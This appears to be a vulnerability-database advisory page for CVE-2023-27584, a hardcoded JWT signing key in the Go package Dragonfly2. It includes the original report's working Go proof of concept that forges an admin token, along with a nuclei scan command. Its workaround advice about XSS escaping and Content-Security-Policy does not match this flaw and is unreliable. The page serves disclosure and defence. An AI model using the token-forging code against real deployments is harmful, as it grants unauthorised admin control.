NIST deprecates RSA-2048 from 2030. Find every one of them before attackers do.
🐹
🐹 Go
Not in CISA KEV
CRITICAL severity

Dragonfly2 has hard coded cyptographic keyGHSA-hpc8-7wpm-889w

CRITICALFix: dragonflyoss/Dragonfly2@e9da69d

GHSA-hpc8-7wpm-889w is a critical-severity (CVSS 9.8) CWE-321 vulnerability in d7y.io/dragonfly/v2. 1 public exploit or proof-of-concept reference is indexed, so weaponization risk is real. A fix is available for d7y.io/dragonfly/v2 — see the affected versions and patch details below.

Also known asCVE-2023-27584GO-2024-3136
Published
Updated
Affected
2 pkgs
Patched
2 / 2
Exploits
1 known
Exploitation data as of Oct 30, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
  • A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for GHSA-hpc8-7wpm-889w.

EPSS Exploitation Probability

via FIRST.org ↗
33.9%probability of exploitation in next 30 days
Moderate Risk0.00%
Lower risk than most CVEs98th percentile — riskier than 98% of all scored CVEsHighest risk
23.9%41.2%58.6%75.9%66.2%33.9%Apr 26Aug 26Oct 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

Where this sits among everything scored

Real-World Exposure

2 pkgs affected
🐹d7y.io/dragonfly/v2🐹d7y.io/dragonfly/v2

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

Hello dragonfly maintainer team, I would like to report a security issue concerning your JWT feature.

Details

Dragonfly uses JWT to verify user. However, the secret key for JWT, "Secret Key", is hard coded, which leads to authentication bypass

authMiddleware, err := jwt.New(&jwt.GinJWTMiddleware{
		Realm:       "Dragonfly",
		Key:         []byte("Secret Key"),
		Timeout:     2 * 24 * time.Hour,
		MaxRefresh:  2 * 24 * time.Hour,
		IdentityKey: identityKey,

		IdentityHandler: func(c *gin.Context) any {
			claims := jwt.ExtractClaims(c)

			id, ok := claims[identityKey]
			if !ok {
				c.JSON(http.StatusUnauthorized, gin.H{
					"message": "Unavailable token: require user id",
				})
				c.Abort()
				return nil
			}

			c.Set("id", id)
			return id
		})

PoC

Use code below to generate a jwt token

package main

import (
	"errors"
	"fmt"
	"time"

	"github.com/golang-jwt/jwt/v4"
)

func (stc *DragonflyTokenClaims) Valid() error {
	// Verify expiry.
	if stc.ExpiresAt <= time.Now().UTC().Unix() {
		vErr := new(jwt.ValidationError)
		vErr.Inner = errors.New("Token is expired")
		vErr.Errors |= jwt.ValidationErrorExpired
		return vErr
	}
	return nil
}

type DragonflyTokenClaims struct {
	Id        int32 `json:"id,omitempty"`
	ExpiresAt int64 `json:"exp,omitempty"`
	Issue     int64 `json:"orig_iat,omitempty"`
}

func main() {
	signingKey := "Secret Key"
	token := jwt.NewWithClaims(jwt.SigningMethodHS256, &DragonflyTokenClaims{
		ExpiresAt: time.Now().Add(time.Hour).Unix(),
		Id:        1,
		Issue:     time.Now().Unix(),
	})
	signedToken, _ := token.SignedString([]byte(signingKey))
	fmt.Println(signedToken)
}

And send request with JWT above , you can still get data without restriction. <img width="1241" alt="image" src="https://user-images.githubusercontent.com/70683161/224255896-8604fa70-5846-4fa0-b1f9-db264c5865fe.png">

Impact

An attacker can perform any action as a user with admin privileges.

Affected Packages

2 total 2 fixed
EcosystemPackageVulnerable rangeFix
🐹God7y.io/dragonfly/v2≥ 2.1.0-alpha.0&&< 2.1.0-beta.12.1.0-beta.1go get d7y.io/dragonfly/v2@v2.1.0-beta.1
🐹God7y.io/dragonfly/v2all versions2.0.9-rc.2go get d7y.io/dragonfly/v2@v2.0.9-rc.2

Affected Products

1 product · 1 configurations
Application
dragonflylinuxfoundation
< 2.0.9
range
Exploits & PoCs
1

Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for d7y.io/dragonfly/v2, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update d7y.io/dragonfly/v2 to 2.1.0-beta.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-hpc8-7wpm-889w is resolved across your whole dependency graph.

  3. Workarounds

    Escape or sanitise the affected output on the server side rather than relying on client-side filtering, and add a Content-Security-Policy that blocks inline script execution so injected markup cannot run even if it reaches the page.

How to detect GHSA-hpc8-7wpm-889w

A community-maintained Nuclei template exists for this CVE. You can scan for it directly:

nuclei -id ghsa-hpc8-7wpm-889w -u https://target
Template
Dragonfly2 < 2.1.0-beta.1 - Hardcoded JWT Secret
Severity
critical
Impact
Unauthenticated attackers can bypass authentication using a hardcoded JWT secret key, allowing them to perform any action with admin privileges including accessing all distributed files and compromising the entire P2P system.
Remediation
Upgrade to Dragonfly2 version 2.0.9 or later that uses a properly generated JWT secret key.

Template by ProjectDiscovery nuclei-templates (iamnoooob, rootxharsh, pdresearch), MIT licensed. View the full template. Scan only systems you are authorised to test.

Frequently Asked Questions

### Summary Hello dragonfly maintainer team, I would like to report a security issue concerning your JWT feature. ### Details Dragonfly uses [JWT](https://github.com/dragonflyoss/Dragonfly2/blob/cddcac7e3bdb010811e2b62b3c71d9d5c6749011/manager/middlewares/jwt.go) to verify user. However, the secret key for JWT, "Secret Key", is hard coded, which leads to authentication bypass ```go authMiddleware, err := jwt.New(&jwt.GinJWTMiddleware{ Realm: "Dragonfly", Key: []byte("Secret Key"), Timeout: 2 * 24 * time.Hour, MaxRefresh: 2 * 24 * time.Hour, IdentityKey: identity
O3 Security · Impact-Aware SCA

Is GHSA-hpc8-7wpm-889w in your dependencies?

Find it across Go, including transitive dependencies.

Dragonfly2 has hard coded cyptographic key (Critical 9.8)